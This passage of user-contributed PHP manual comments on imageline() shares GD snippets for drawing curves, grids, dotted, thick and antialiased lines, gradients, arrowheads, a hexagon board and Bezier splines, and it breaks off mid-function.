      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=0; $i<1000; $i=$i+1)
{
    //define curve's function
    $x = 310*cos($i/$T1); //define x-value
    $y = 230*sin($i/$T2);//define y-value

    //move the coordinate, append a point's x-value and y-value
    $points[] = 320+$x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
huirong dot jin at gmail dot com 31-Jan-2008 01:57
An example to draw Amplitude Modulation curve: y = c * sin (x/a) * sin (x/b) . You can easily modify the codes to create your own oscilloscope application!

<?php
header ("Content-type: image/png");
$myImage = @imagecreatetruecolor(640, 480)
      or die("Cannot Initialize new GD image stream");
$text_color = imagecolorallocate($myImage, 255, 255, 224);
$poly_color = imagecolorallocate($myImage, 124, 120, 224);

//calculate x-value and y-value point by point
$points = array();
for ($i=1; $i<640; $i=$i+1)
{
    //define curve's function
    $x = $i; //define x-value, which is $i itself
    $y = 150*sin($x/80)*sin($x/5);//define y-value

    //append a point's x-value and y-value
    $points[] = $x; //x-value
    $points[] = 240-$y;  //y-value
}

//count points
$totalPoints = count($points)/2;

//drawing title
$title = "Final Plot ($totalPoints points)";
imagestring($myImage, 3, 5, 5,  $title, $text_color);

/** drawing points one by one, notice if there
 * are 10 points, we need to draw 9 lines:
 * 1) point 0 to 1;
 * 2) point 1 to 2;
 * ...
 * ...
 * 9) point 8 to 9;
 */
for ($i=0; $i<$totalPoints-1; $i++)
{
    imageLine($myImage, $points[2*$i], $points[1+2*$i], $points[2+2*$i], $points[3+2*$i], $poly_color);
}

//finalizing
imagepng($myImage);
imagedestroy($myImage);
?>
admin at xpmail dot net 30-Apr-2007 05:45
example of a Simple grid...
bool imagegrid ( resource $image, int $width, int $Height, int $size, mixed $color )

<?php
Header("Content-type: image/png");
$Width=450;
$Height=450;

$img = ImageCreateTrueColor($Width, $Height);

$bg = imagecolorallocate($img, 255, 255, 255);
imagefill($img, 0, 0, $bg);

$grid = imagecolorallocate($img, 225, 245, 249);

imagesetstyle($img, array($bg, $grid));
imagegrid($img, $Width, $Height, 10, IMG_COLOR_STYLED);
//makegrid($img, $Width, $Height, 10, $grid);

ImagePNG($img);
ImageDestroy($img);

function imagegrid($image, $w, $h, $s, $color)
{
    for($iw=1; $iw<$w/$s; $iw++){imageline($image, $iw*$s, 0, $iw*$s, $w, $color);}
    for($ih=1; $ih<$h/$s; $ih++){imageline($image, 0, $ih*$s, $w, $ih*$s, $color);}
}
?>
Jonathan W. 27-Apr-2007 01:15
I've modified the previous entry for drawing on a polar coordinate system to better represent angles based on a 360o whole circle bearing.

<?php

function imagepolarline($image,$x1,$y1,$length,$angle,$color)
{
    $x2 = $x1 + sin( deg2rad($angle) ) * $length;
    $y2 = $y1 + cos( deg2rad($angle+180) ) * $length;

    imageline($image,$x1,$y1,$x2,$y2,$color);
}

?>
pb_2001 at haefft dot de 04-Mar-2006 02:41
This is a function to make a dotted line. It accepts (it actually requires) 7 parameters and returns 1 if everything went OK and 0 if there was a problem.

int imagelinedotted ( resource im, int x1, int y1, int x2, int y2, int dist, int col )

imagelinedotted() draws a line from x1, y1 to x2, y2 (top left is 0, 0) in image im of colour col where dist defines the distance (measured in pixels) between one dot and another.

<?php
function imagelinedotted ($im, $x1, $y1, $x2, $y2, $dist, $col) {
    $transp = imagecolortransparent ($im);

    $style = array ($col);

    for ($i=0; $i<$dist; $i++) {
        array_push($style, $transp);        // Generate style array - loop needed for customisable distance between the dots
    }

    imagesetstyle ($im, $style);
    return (integer) imageline ($im, $x1, $y1, $x2, $y2, IMG_COLOR_STYLED);
    imagesetstyle ($im, array($col));        // Reset style - just in case...
}
?>
fatpratmatt at gmail dot com 30-Jan-2006 11:43
Here is a function which draws lines that cross at a specific point [It may need some tweaking]:

<?php
// Image Cross by Matt Evans
// $im - image resource
// $x - x coordinate where the lines should cross
// $y - y coordinate where the lines should cross
// $size - the length of each line
// $colour - the colour of the cross

function imagecross($im, $x, $y, $size = 5, $colour) {
imageline($im, $x+$size/2, $y+$size/2, $x-$size/2, $y-$size/2, $colour);
imageline($im, $x-$size/2, $y+$size, $x+$size/2, $y-$size, $colour);
}

// Example
imagecross($im, 50, 50, 5, $crosscolour);
?>
21-Oct-2005 07:30
imageline coordinate variables are documented as int ,  a value in decimal format will be truncated.

This may be useful when, for example, applying a non-integer scaling factor in generating an image.

Care should be taken to ensure this does not create significant errors that affect the quality of the image. For example :

<?php
$x=0.00000000001;$y=100;
imageline($img,0,0,0,$y+$x);
imageline($img,0,0,0,$y-$x);
?>

the first line will be straight , the second will have a step. Use round() where appropriate.
meid at gmx dot at 07-Sep-2005 10:39
Some simple code to draw lines with specific thickness using "imagefilledpolygon". Useful if your gdlib does not support "imagesetthickness".

<?
function dickelinie($img,$start_x,$start_y,$end_x,$end_y,$color,$thickness)
{
    $angle=(atan2(($start_y - $end_y),($end_x - $start_x)));

    $dist_x=$thickness*(sin($angle));
    $dist_y=$thickness*(cos($angle));

    $p1x=ceil(($start_x + $dist_x));
    $p1y=ceil(($start_y + $dist_y));
    $p2x=ceil(($end_x + $dist_x));
    $p2y=ceil(($end_y + $dist_y));
    $p3x=ceil(($end_x - $dist_x));
    $p3y=ceil(($end_y - $dist_y));
    $p4x=ceil(($start_x - $dist_x));
    $p4y=ceil(($start_y - $dist_y));

    $array=array(0=>$p1x,$p1y,$p2x,$p2y,$p3x,$p3y,$p4x,$p4y);
    imagefilledpolygon ( $img, $array, (count($array)/2), $color );
}
// Example:
header ("Content-type: image/jpeg");
$img = ImageCreate (210, 210) or die("Cannot Initialize new GD image stream ");
$backgroundcolor = ImageColorAllocate ($img, 255, 255, 255);
$orange = ImageColorAllocate($img, 252, 102, 4);
dickelinie($img, 10, 10, 10, 200,$orange,2);
dickelinie($img, 10, 200, 200, 10,$orange,2);
dickelinie($img, 200, 10, 200, 200,$orange,2);
imagejpeg($img);
ImageDestroy($img);

?>
d [AT] sprid [DOT] de 06-Sep-2005 03:12
Here my function do clear all problems. With this, you can draw firstly smooth lines (basic code adapted from code_couturier at graffiti dot net, with some performance changes). The special is, you can define the alpha-value of the line (0 = normal smooth line, 127 = fully transparent). Change whatever you want to make it better, but post your results ;)

<?php
/**
 * function imageSmoothAlphaLine() - version 1.0
 * Draws a smooth line with alpha-functionality
 *
 * @param   ident    the image to draw on
 * @param   integer  x1
 * @param   integer  y1
 * @param   integer  x2
 * @param   integer  y2
 * @param   integer  red (0 to 255)
 * @param   integer  green (0 to 255)
 * @param   integer  blue (0 to 255)
 * @param   integer  alpha (0 to 127)
 *
 * @access  public
 *
 * @author  DASPRiD <d@sprid.de>
 */
function imageSmoothAlphaLine ($image, $x1, $y1, $x2, $y2, $r, $g, $b, $alpha=0) {
  $icr = $r;
  $icg = $g;
  $icb = $b;
  $dcol = imagecolorallocatealpha($image, $icr, $icg, $icb, $alpha);

  if ($y1 == $y2 || $x1 == $x2)
    imageline($image, $x1, $y2, $x1, $y2, $dcol);
  else {
    $m = ($y2 - $y1) / ($x2 - $x1);
    $b = $y1 - $m * $x1;

    if (abs ($m) <2) {
      $x = min($x1, $x2);
      $endx = max($x1, $x2) + 1;

      while ($x < $endx) {
        $y = $m * $x + $b;
        $ya = ($y == floor($y) ? 1: $y - floor($y));
        $yb = ceil($y) - $y;

        $trgb = ImageColorAt($image, $x, floor($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, floor($y), imagecolorallocatealpha($image, ($tcr * $ya + $icr * $yb), ($tcg * $ya + $icg * $yb), ($tcb * $ya + $icb * $yb), $alpha));

        $trgb = ImageColorAt($image, $x, ceil($y));
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, $x, ceil($y), imagecolorallocatealpha($image, ($tcr * $yb + $icr * $ya), ($tcg * $yb + $icg * $ya), ($tcb * $yb + $icb * $ya), $alpha));

        $x++;
      }
    } else {
      $y = min($y1, $y2);
      $endy = max($y1, $y2) + 1;

      while ($y < $endy) {
        $x = ($y - $b) / $m;
        $xa = ($x == floor($x) ? 1: $x - floor($x));
        $xb = ceil($x) - $x;

        $trgb = ImageColorAt($image, floor($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel($image, floor($x), $y, imagecolorallocatealpha($image, ($tcr * $xa + $icr * $xb), ($tcg * $xa + $icg * $xb), ($tcb * $xa + $icb * $xb), $alpha));

        $trgb = ImageColorAt($image, ceil($x), $y);
        $tcr = ($trgb >> 16) & 0xFF;
        $tcg = ($trgb >> 8) & 0xFF;
        $tcb = $trgb & 0xFF;
        imagesetpixel ($image, ceil($x), $y, imagecolorallocatealpha($image, ($tcr * $xb + $icr * $xa), ($tcg * $xb + $icg * $xa), ($tcb * $xb + $icb * $xa), $alpha));

        $y ++;
      }
    }
  }
} // end of 'imageSmoothAlphaLine()' function
?>
Tyron 02-May-2005 11:50
// Here's a function for drawing a rotated gradient Rectangle (based on a previous note)

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

GradientRect($img,50,50,80,80,30);

ImagePng($img,"test.png");
ImageDestroy($img);
echo "<br><img src=\"test.png\">";

function GradientRect($img, $x1, $y1, $x2, $y2, $wdt) {
  $alpha = atan2($y2-$y1,$x2-$x1);
  $real_wdt = $wdt*sin($alpha);
  $real_hgt = $wdt*cos($alpha);
  echo "real wdt:".$real_wdt;
  echo "<br>real hgt:".$real_hgt;
  echo "<br>angle: ".($angle*180/pi());
  $plotD = 0;
  $i=0;

  $dy = $real_hgt/$wdt;
  $dx = $real_wdt/$wdt;
  $drgb= 256/$wdt;
  while($i++ < $wdt) {
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, $x1-$i*$dx, $y1+$i*$dy, $x2-$i*$dx, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));
    ImageLine($img, $x1-$i*$dx+1, $y1+$i*$dy, $x2-$i*$dx+1, $y2+$i*$dy, ImageColorAllocate($img, $i*$drgb, 0, 0));

  }
}
ajreading at classixshop dot com 23-Apr-2005 07:28
<?php
// An easy bit of code showing how you can use the ImageLine() function to create gradients

// Create An Image 255x255
$img = ImageCreateTrueColor(255, 255);

$plotD = 0;
while($plotD < 256)
{
    // Draw a line and move it down and make it lighter to get the gradient effect
    ImageLine($img, 0, $plotD , 255, $plotD, ImageColorAllocate($img, $plotD, $plotD, $plotD));
    $plotD++;
}
Header("Content-type: image/png");
ImagePng($img);
ImageDestroy($img);
?>
eviloverlord at gmail dot com 27-Jan-2005 07:50
This code is used to draw a board of hexagons (for games, classes, etc.)

<?php
//Draws a hexagonal board

// User-defined values
$maxTiles = 7;                    //The number of tiles at the center (widest part) of the board
$minTiles = 4;                    //The number of tiles at the edges of the board
$side = 30;                        //The length of the sides of the tiles in pixels
$bgColor = array(0, 0, 0);        //The background color in RGB format
$fgColor = array(255, 255, 255);//The foreground color in RGB format

//Calculated values
$widthInTiles = range($maxTiles, $minTiles);            //In our example: 7, 6, 5, 4
$rowsInTiles = count($widthInTiles)*2-1;                //the total number of rows on our board
$xSide = $side*sin(deg2rad(60));                        //the length of the x-part of the angled sides
$ySide = $side*sin(deg2rad(30));                        //the length of the y-part of the angled sides
$boardWidth = $xSide*$widthInTiles[0]*2;                //The entire width of the board
$boardHeight = $rowsInTiles*($side + $ySide) + $ySide;    //The entire height of the board

// create a blank image and allocate the foreground, background colors
$image = imagecreate($boardWidth, $boardHeight);
$bg = imagecolorallocate($image, $bgColor[0], $bgColor[1], $bgColor[2]);
$fg = imagecolorallocate($image, $fgColor[0], $fgColor[1], $fgColor[2]);

// draw the board
$row = 0;
foreach($widthInTiles as $tiles)
{
    for ($i = 0; $i < $tiles+1; $i++)
    {
        $x1 = $row*$xSide + $i*$xSide*2;
        $y1 = $boardHeight/2;
        $y1Dif = ($side/2) + $row*($side+$ySide);

        $x2 = $x1 + $xSide;
        $y2 = $y1;
        $y2Dif = $ySide;

        $x3 = $x2 + $xSide;

        if ($i < $tiles)
        {
            imageline($image, $x1, $y1 - $y1Dif, $x2, $y2 - $y1Dif - $y2Dif, $fg);
            imageline($image,  $x1, $y1 + $y1Dif, $x2, $y2 + $y1Dif + $y2Dif, $fg);
            imageline($image, $x2, $y2 - $y1Dif - $y2Dif, $x3, $y1 - $y1Dif, $fg);
            imageline($image, $x2, $y2 + $y1Dif + $y2Dif, $x3, $y1 + $y1Dif, $fg);
        }

        imageline($image, $x1, $y1 - $y1Dif, $x1, $y1 - $y1Dif + $side, $fg);
        imageline($image, $x1, $y1 + $y1Dif, $x1, $y1 + $y1Dif - $side, $fg);
    }
    $row++;
}

// output the picture
header("Content-type: image/png");
imagepng($image);
imagedestroy($image);
?>
Lionel Van Bemten 22-May-2004 03:41
here is a code to draw a "degraded" ... :
<?
header("Content-type : image/jpeg");

$image = @ImageCreate(200, 100)
  or die ("Erreur de cr?ation de l'image");

$lignes_colorees = 1;
$couleur_fond = ImageColorAllocate($image, 255, 255, 255);

$rouge_depart = 100;
$vert_depart = 255;
$bleu_depart = 0;

$rouge_fin = 0;
$vert_fin = 100;
$bleu_fin = 0;

$lignes = 100; //nb de lignes de l'image

$vert_diff = $vert_fin - $vert_depart;
$vert1 = $vert_diff / $lignes;

$bleu_diff = $bleu_fin - $bleu_depart;
$bleu1 = $bleu_diff / $lignes;

$rouge_diff = $rouge_fin - $rouge_depart;
$rouge1 = $rouge_diff / $lignes;

while ($lignes_colorees <= 100)
{
    $rouge2 = $lignes_colorees * $rouge1;    $rouge3 = $rouge_depart + $rouge2;
    $rouge = round($rouge3);

    $vert2 = $lignes_colorees * $vert1;
    $vert3 = $vert_depart + $vert2;
    $vert = round($vert2);

    $bleu2 = $lignes_colorees * $bleu1;
    $bleu3 = $bleu_depart + $bleu2;
    $bleu = round($bleu2);

    $y1 = $lignes_colorees;
    $y2 = $lignes_colorees;
    $x1 = 1;    $x2 = 200;

    $couleur = ImageColorAllocate($image, $rouge, $vert, $bleu);
    //dessine la ligne
    ImageLine($image, $x1, $y1, $x2, $y2, $couleur);    $lignes_colorees ++;
}

//dessine l'image
ImageJpeg($image);
?>
ruturaj_v at yahoo dot com 14-May-2004 08:48
here is a function that helps you create arrows...

<?php
function get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang) {
    $debug = false;

    define("INFINITE", 'INFINITE');
    if (($x2-$x1)==0) {
        if ($y1 == 0) {
            $slope = 0;
        } else {
            $slope = INFINITE;
        }
    } else {
        $slope = -($y2-$y1)/($x2-$x1);
    }

    //$slope = number_format($slope, 2, '.','');
    if ($slope == 'INFINITE') {
        $ang = 90;
    } else {
        $ang = atan ($slope);
        $ang = ($ang * 180)/pi();
    }
    //$ang = number_format($ang, 2, '.', '');
    //echo ($ang);
    //exit;

    //convert the angle
    $arrang1 = ($ang - $arrang);
    $arrangdeg1 = ($ang - $arrang);
    //echo ($arrang1);exit;
    $arrang1 = ($arrang1*pi())/180;

    $arrang2 = ($ang + $arrang);
    $arrangdeg2 = ($ang + $arrang);
    $arrang2 = ($arrang2*pi())/180;
    //echo ($arrang1);

    $arx1 = (floor(cos($arrang1)*$arrhead));
    $ary1 = (floor(sin($arrang1)*$arrhead));
    $arx2 = (floor(cos($arrang2)*$arrhead));
    $ary2 = (floor(sin($arrang2)*$arrhead));
    if ($debug) {
        echo ("Values of arx1.. before add/sub</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$arx2,$ary2</br>");
    }
    if ($ang==0) {
        if ($x2 > $x1) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif ($x2 < $x1) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang > 0 && $ang < 90) {
        if (($x2 > $x1) && ($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 > $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang==90) {
        if (($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif (($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        }
    }
    if ($ang > -90 && $ang < 0) {
        if (($x2 > $x1) && ($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 < $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }

    if ($debug) {
        echo ("Angle of line is (".$ang*180/pi().")</br>");
        echo ("Angle of line1 is $arrangdeg1</br>");
        echo ("Angle of line2 is $arrangdeg2</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$x2,$y2</br>");
        echo ("$arx2,$ary2&nbsp;&nbsp;&nbsp;$x2,$y2");
        exit;
    }

    $array_arrows = array (
                    'x1' =>$arx1,
                    'y1' => $ary1,
                    'x2' => $arx2,
                    'y2' => $ary2
                    );
    return $array_arrows;

}

$x1 = 200; $y1 = 200;
$x2 = 400; $y2 = 100;
$arrhead = 15; //10px
$arrang = 10; //10 deg

$ar_arrws = get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang);

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$red = imagecolorallocate ($im, 255, 0, 0);

//creates the base line
imageline ($im, $x1, $y1, $x2, $y2, $green);
imageline ($im, $x1+1, $x2+1, $y1+1, $y2+1, $red);
imageline ($im, $x2, $y2, $ar_arrws['x1'], $ar_arrws['y1'], $green);
imageline ($im, $x2, $y2, $ar_arrws['x2'], $ar_arrws['y2'], $green);

?>
yl at sota dot ch 14-Apr-2004 09:44
Simple function to create border for jpg-images:

function createImageBorder($imgName){

     $img     =  substr($imgName, 0, -4); // remove fileExtension
     $ext     = ".jpg";
     $quality = 95;
     $borderColor = 255;  // 255 = white

    /*
     a                         b
     +-------------------------+
     |
     |          IMAGE
     |
     +-------------------------+
     c                         d
    */

    $scr_img = imagecreatefromjpeg($img.$ext);
    $width   = imagesx($scr_img);
    $height  = imagesy($scr_img);

        // line a - b
        $abX  = 0;
        $abY  = 0;
        $abX1 = $width;
        $abY1 = 0;

        // line a - c
        $acX  = 0;
        $acY  = 0;
        $acX1 = 0;
        $acY1 = $height;

        // line b - d
        $bdX  = $width-1;
        $bdY  = 0;
        $bdX1 = $width-1;
        $bdY1 = $height;

        // line c - d
        $cdX  = 0;
        $cdY  = $height-1;
        $cdX1 = $width;
        $cdY1 = $height-1;

       // DRAW LINES
        imageline($scr_img,$abX,$abY,$abX1,$abY1,$borderColor);
        imageline($scr_img,$acX,$acY,$acX1,$acY1,$borderColor);
        imageline($scr_img,$bdX,$bdY,$bdX1,$bdY1,$borderColor);
        imageline($scr_img,$cdX,$cdY,$cdX1,$cdY1,$borderColor);

      // create copy from image
        imagejpeg($scr_img, $img."_border.jpg", $quality);
        imagedestroy($scr_img);
  }

    createImageBorder("myfile.jpg");
mueller at inf dot ufsc dot br 05-Jan-2004 12:26
an algorithm to draw a bezier spline

<?php

$segmentos =30;
$x=array(0,10,80,30);
$y=array(0,10,40,50);

function bezier($p,$steps){
    $t = 1 / $steps;
    $temp = $t * $t;
    $ret = array();
    $f = $p[0];
    $fd = 3 * ($p[1] - $p[0]) * $t;
    $fdd_per_2=3*($p[0]-2*$p[1]+$p[2])*$temp;
    $fddd_per_2=3*(3*($p[1]-$p[2])+$p[3]-$p[0])*$temp*$t;
    $fddd = $fddd_per_2 + $fddd_per_2;
    $fdd = $fdd_per_2 + $fdd_per_2;
    $fddd_per_6 = $fddd_per_2 * (1.0 / 3);
    for ($loop=0; $loop<$steps; $loop++) {
        array_push($ret,$f);
        $f = $f + $fd + $fdd_per_2 + $fddd_per_6;
        $fd = $fd + $fdd + $fddd_per_2;
        $fdd = $fdd + $fddd;
        $fdd_per_2 = $fdd_per_2 + $fddd_per_2;
    }
    return $ret;
}

$by = bezier($y,$segmentos);
$bx = bezier($x,$segmentos);
header ("Content-type: image/jpeg");
$tam = 200;
$im = imagecreate($tam,$tam);
$background_color = imagecolorallocate ($im, 200, 200, 200);
$tc = imagecolorallocate ($im, 233, 14, 91);
for($i=0;$i<$segmentos-1;$i++)
    imageline($im,$bx[$i],$tam-$by[$i],$bx[$i+1],$tam-$by[$i+1],$tc);
imagejpeg($im);
imagedestroy($im);
?>
code_couturier at graffiti dot net 17-Oct-2003 11:56
# antialiased draw_line function 1.1 (faster)

# here is a drawLine() posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

# here are some changes i made:
# 1. changed for true-color images (no index_var used)
# 2. changed rgb extraction to logical shift
# 3. reducing function call's

function drawQSLine ($image,$x1,$y1,$x2,$y2,$r,$g,$b) {
$icr=$r;
$icg=$g;
$icb=$b;
 $dcol = ImageColorAllocate ($image,$icr,$icg,$icb);
 if ($y1 == $y2) imageline ($image,$x1,$y1,$x2,$y1,$dcol);
 else if ($x1 == $x2) {
   imageline ($image,$x1,$y1,$x1,$y2,$dcol);
 } else {
 $m = ($y2 - $y1) / ($x2 - $x1);
 $b = $y1 - $m * $x1;

 if (abs ($m) <2) {

 $x = min ($x1,$x2);
 $endx = max ($x1,$x2)+1;

 while ($x < $endx) {
 $y=$m * $x + $b;
 $y == floor ($y) ? $ya = 1 : $ya = $y - floor ($y);
 $yb = ceil ($y) - $y;

 $trgb = ImageColorAt($image,$x,floor($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,floor ($y),imagecolorallocate ($image,($tcr * $ya + $icr * $yb),
($tcg * $ya + $icg * $yb),
($tcb * $ya + $icb * $yb)));

 $trgb = ImageColorAt($image,$x,ceil($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,ceil ($y),imagecolorallocate ($image,($tcr * $yb + $icr * $ya),
($tcg * $yb + $icg * $ya),
($tcb * $yb + $icb * $ya)));

 $x ++;
 } # while_x_end
 } # if_end
 else { # else_abs_end

 $y = min ($y1,$y2);
 $endy = max ($y1,$y2)+1;

 while ($y < $endy) {
 $x=($y - $b) / $m;
 $x == floor ($x) ? $xa = 1 : $xa = $x - floor ($x);
 $xb = ceil ($x) - $x;

 $trgb = ImageColorAt($image,floor($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,floor ($x),$y,imagecolorallocate ($image,($tcr * $xa + $icr * $xb),
($tcg * $xa + $icg * $xb),
($tcb * $xa + $icb * $xb)));

 $trgb = ImageColorAt($image,ceil($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,ceil ($x),$y,imagecolorallocate ($image, ($tcr * $xb + $icr * $xa),
($tcg * $xb + $icg * $xa),
($tcb * $xb + $icb * $xa)));

 $y ++;
 }# while_y_end
 }# else_abs_end
 }# else_y=y_x=x_end
}# drawOSLine_end
code_couturier at graffiti dot net 01-Oct-2003 09:33
# antialiased lines with true-type-fonts !?
# yip, it works - not very good - but faster
# (below 3 sec) than other routines (~7 sec)
# i saw here.

# the antialiased effect is minimal and only
# at the top of the line - but, as better as
# nothing ;)

# here is a drawLine routine from Logan Gunthorpe
# (logang at deltatee dot com) posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

function drawSoftLine ($image, $x1, $y1, $x2, $y2, $r,$g,$b) {

$fontfile="arial.ttf"; # the font for the dot
$str="?" ; # the point_char for the dot
$size=12; # the point for the dot_size

 $color = ImageColorAllocate ($image, $r,$g,$b);

 if ($x2 == $x1) {
 $tmp = $x1; $x1 = $y1; $y1 = $tmp;
 $tmp = $x2; $x2 = $y2; $y2 = $tmp;
 $swapx = true;
 }

 $m = (float)(( $y2 - $y1 ) / ( $x2 - $x1 ));
 $b = (float)($y1 - $m*$x1);

 $strx = min ( $x1 , $x2 );
 $endx = max ( $x1 , $x2 );
 $x=(int)0;

# the original loop was based on one for_loop
# with the if_swap inside. to speed up this loop
# i double it, to keep off the permanent if_call's.

if (!$swapx) {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $x, $y,
   $color, $fontfile,$str);
 }
} else {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $y, $x,
   $color, $fontfile,$str);
  }
}

}
nanobot at chipx86 dot com 17-Jun-2003 05:28
Here is a function for making antialiased lines:

 function imagesmoothline ( $image , $x1 , $y1 , $x2 , $y2 , $color )
 {
  $colors = imagecolorsforindex ( $image , $color );
  if ( $x1 == $x2 )
  {
   imageline ( $image , $x1 , $y1 , $x2 , $y2 , $color ); // Vertical line
  }
  else
  {
   $m = ( $y2 - $y1 ) / ( $x2 - $x1 );
   $b = $y1 - $m * $x1;
   if ( abs ( $m ) <= 1 )
   {
    $x = min ( $x1 , $x2 );
    $endx = max ( $x1 , $x2 );
    while ( $x <= $endx )
    {
     $y = $m * $x + $b;
     $y == floor ( $y ) ? $ya = 1 : $ya = $y - floor ( $y );
     $yb = ceil ( $y ) - $y;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , floor ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $ya + $colors['red'] * $yb;
     $tempcolors['green'] = $tempcolors['green'] * $ya + $colors['green'] * $yb;
     $tempcolors['blue'] = $tempcolors['blue'] * $ya + $colors['blue'] * $yb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , floor ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , ceil ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $yb + $colors['red'] * $ya;
      $tempcolors['green'] = $tempcolors['green'] * $yb + $colors['green'] * $ya;
     $tempcolors['blue'] = $tempcolors['blue'] * $yb + $colors['blue'] * $ya;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , ceil ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $x ++;
    }
   }
   else
   {
    $y = min ( $y1 , $y2 );
    $endy = max ( $y1 , $y2 );
    while ( $y <= $endy )
    {
     $x = ( $y - $b ) / $m;
     $x == floor ( $x ) ? $xa = 1 : $xa = $x - floor ( $x );
     $xb = ceil ( $x ) - $x;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , floor ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xa + $colors['red'] * $xb;
     $tempcolors['green'] = $tempcolors['green'] * $xa + $colors['green'] * $xb;
     $tempcolors['blue'] = $tempcolors['blue'] * $xa + $colors['blue'] * $xb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , floor ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , ceil ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xb + $colors['red'] * $xa;
     $tempcolors['green'] = $tempcolors['green'] * $xb + $colors['green'] * $xa;
     $tempcolors['blue'] = $tempcolors['blue'] * $xb + $colors['blue'] * $xa;
